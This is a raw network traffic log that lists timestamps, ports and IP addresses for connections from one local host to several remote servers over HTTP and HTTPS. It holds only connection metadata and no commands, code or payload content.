Nov 23, 2024 18:22:22.747193098 CET	443	49791	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:22.747560978 CET	49791	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:22.747874975 CET	49791	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:22.747883081 CET	443	49791	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:23.044127941 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.044903994 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.044926882 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.045361042 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.045367956 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.487896919 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.488080978 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.488629103 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.488738060 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.488738060 CET	49786	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.488761902 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.488775015 CET	443	49786	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.494801044 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.494832039 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.494914055 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.495330095 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.495342016 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.906260014 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.906776905 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.906800032 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.907146931 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.907151937 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.969844103 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.970757008 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.970772982 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.971329927 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.971335888 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.973186016 CET	443	49791	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:23.973268032 CET	49791	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:23.974981070 CET	49791	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:23.974986076 CET	443	49791	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:23.975238085 CET	443	49791	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:23.976334095 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.976655960 CET	49791	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:23.977209091 CET	49791	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:23.977227926 CET	443	49791	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:23.977319956 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.977333069 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:23.978003025 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:23.978008032 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.032419920 CET	49793	80	192.168.2.4	185.215.113.206
Nov 23, 2024 18:22:24.221947908 CET	80	49793	185.215.113.206	192.168.2.4
Nov 23, 2024 18:22:24.223793983 CET	49793	80	192.168.2.4	185.215.113.206
Nov 23, 2024 18:22:24.440009117 CET	49793	80	192.168.2.4	185.215.113.206
Nov 23, 2024 18:22:24.487780094 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.487885952 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.487920046 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.487935066 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.488095999 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.488163948 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.490762949 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.490763903 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.490792036 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.490803957 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.491652966 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.491667032 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.491678953 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.491686106 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.493540049 CET	49772	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:24.494776964 CET	49794	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:24.496856928 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.496889114 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.497025013 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.499201059 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.499217033 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.499279022 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.499643087 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.499659061 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.499727011 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.499737978 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.538939953 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.538995028 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.539058924 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.541801929 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.541806936 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.541836023 CET	49790	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.541838884 CET	443	49790	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.564991951 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.565016031 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.565026999 CET	80	49793	185.215.113.206	192.168.2.4
Nov 23, 2024 18:22:24.565105915 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.565212965 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:24.565227032 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:24.655919075 CET	80	49794	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:24.656096935 CET	80	49772	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:24.656176090 CET	49772	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:24.659473896 CET	49794	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:24.661680937 CET	49794	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:24.786657095 CET	80	49794	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:24.910774946 CET	443	49791	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:24.910880089 CET	443	49791	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:24.910926104 CET	49791	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:24.910984993 CET	49791	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:24.910995960 CET	443	49791	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:25.157661915 CET	49798	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:25.157691002 CET	443	49798	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:25.157812119 CET	49798	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:25.158106089 CET	49798	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:25.158118010 CET	443	49798	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:25.324285984 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:25.324812889 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:25.324834108 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:25.325613976 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:25.325618982 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:25.686935902 CET	80	49793	185.215.113.206	192.168.2.4
Nov 23, 2024 18:22:25.687014103 CET	49793	80	192.168.2.4	185.215.113.206
Nov 23, 2024 18:22:25.689789057 CET	49793	80	192.168.2.4	185.215.113.206
Nov 23, 2024 18:22:25.790477991 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:25.790635109 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:25.790713072 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:25.790885925 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:25.790909052 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:25.790925026 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:25.790932894 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:25.793121099 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:25.793153048 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:25.793227911 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:25.793349981 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:25.793365002 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:25.811039925 CET	80	49793	185.215.113.206	192.168.2.4
Nov 23, 2024 18:22:26.041935921 CET	80	49794	185.215.113.43	192.168.2.4
Nov 23, 2024 18:22:26.043534994 CET	49794	80	192.168.2.4	185.215.113.43
Nov 23, 2024 18:22:26.092226982 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:26.092493057 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:26.159851074 CET	80	49793	185.215.113.206	192.168.2.4
Nov 23, 2024 18:22:26.159902096 CET	49793	80	192.168.2.4	185.215.113.206
Nov 23, 2024 18:22:26.218811989 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:26.218879938 CET	80	49779	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:26.218969107 CET	49779	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:26.219438076 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:26.233907938 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:26.354221106 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:26.391243935 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:26.393815041 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:26.393851995 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:26.394242048 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:26.394248962 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:26.410130978 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:26.427423954 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:26.427443981 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:26.427889109 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:26.427896976 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:26.441171885 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:26.441448927 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:26.441471100 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:26.442161083 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:26.442167997 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:26.473746061 CET	443	49798	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:26.473846912 CET	49798	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:26.475142956 CET	49798	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:26.475152016 CET	443	49798	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:26.475533962 CET	443	49798	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:26.478038073 CET	49798	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:26.478221893 CET	49798	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:26.478260040 CET	443	49798	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:26.478337049 CET	49798	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:26.478347063 CET	443	49798	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:26.624655962 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:26.627439976 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:26.627464056 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:26.627938986 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:26.627947092 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.023045063 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.023093939 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.023121119 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.023139954 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.023226976 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.024094105 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.024513960 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.024540901 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.024554014 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.024561882 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.025073051 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.025147915 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.025224924 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.026793957 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.026813984 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.026827097 CET	49796	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.026834011 CET	443	49796	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.027663946 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.027664900 CET	49797	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.027690887 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.027708054 CET	443	49797	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.030035019 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.030077934 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.030141115 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.030879021 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.030909061 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.030966997 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.031658888 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.031677008 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.031697989 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.031708956 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.031819105 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.031829119 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.031837940 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.031922102 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.031934023 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.246902943 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.246983051 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.247057915 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.268035889 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.268057108 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.268107891 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.268116951 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.308810949 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.308887959 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.309076071 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.309323072 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.309356928 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.549850941 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.550338030 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.550350904 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.550970078 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:27.550976992 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:27.596493006 CET	443	49798	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:27.596673965 CET	443	49798	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:27.596780062 CET	49798	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:27.596780062 CET	49798	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:27.605204105 CET	49805	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:27.605252028 CET	443	49805	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:27.605334997 CET	49805	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:27.606266022 CET	49805	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:27.606280088 CET	443	49805	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:27.650959015 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.651025057 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.651076078 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.651124001 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.651603937 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.651665926 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.651675940 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.651699066 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.651747942 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.651747942 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.652345896 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.652358055 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.652369022 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.652400970 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.652431011 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.653255939 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.653305054 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.653376102 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.653441906 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.889853954 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.889878035 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.889925003 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.894260883 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.894315004 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.894349098 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.894401073 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.894835949 CET	49798	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:27.894867897 CET	443	49798	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:27.902611017 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.902673006 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.902776003 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.902817965 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.911102057 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.911207914 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.911237001 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.911286116 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.919646025 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.919707060 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.919771910 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.919819117 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.928206921 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.928338051 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.928383112 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.936790943 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.936844110 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.936904907 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.936943054 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.945267916 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.945313931 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.945394993 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.949397087 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.953948975 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.954034090 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.954080105 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.962488890 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.962567091 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:27.962630987 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:27.962676048 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.013947010 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.013998032 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.014028072 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.014081955 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.018213987 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.018266916 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.018548965 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.018605947 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.029841900 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.029908895 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.030005932 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.030051947 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.034079075 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.034183025 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.046231031 CET	49806	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:28.046319962 CET	443	49806	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:28.046407938 CET	49806	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:28.046915054 CET	49806	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:28.046951056 CET	443	49806	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:28.073162079 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.073287010 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.073328018 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.073342085 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.076258898 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.076306105 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.076380014 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.076428890 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.090354919 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.090549946 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.090625048 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:28.090842962 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:28.090862036 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.090878010 CET	49799	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:28.090886116 CET	443	49799	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.093833923 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:28.093878031 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.094084978 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:28.094399929 CET	49807	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:28.094415903 CET	443	49807	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:28.133536100 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.133582115 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.133610964 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.133630037 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.138174057 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.138241053 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.138276100 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.138376951 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.146492958 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.146549940 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.146600008 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.154747963 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.154794931 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:28.154861927 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:28.154903889 CET	49800	80	192.168.2.4	185.215.113.16
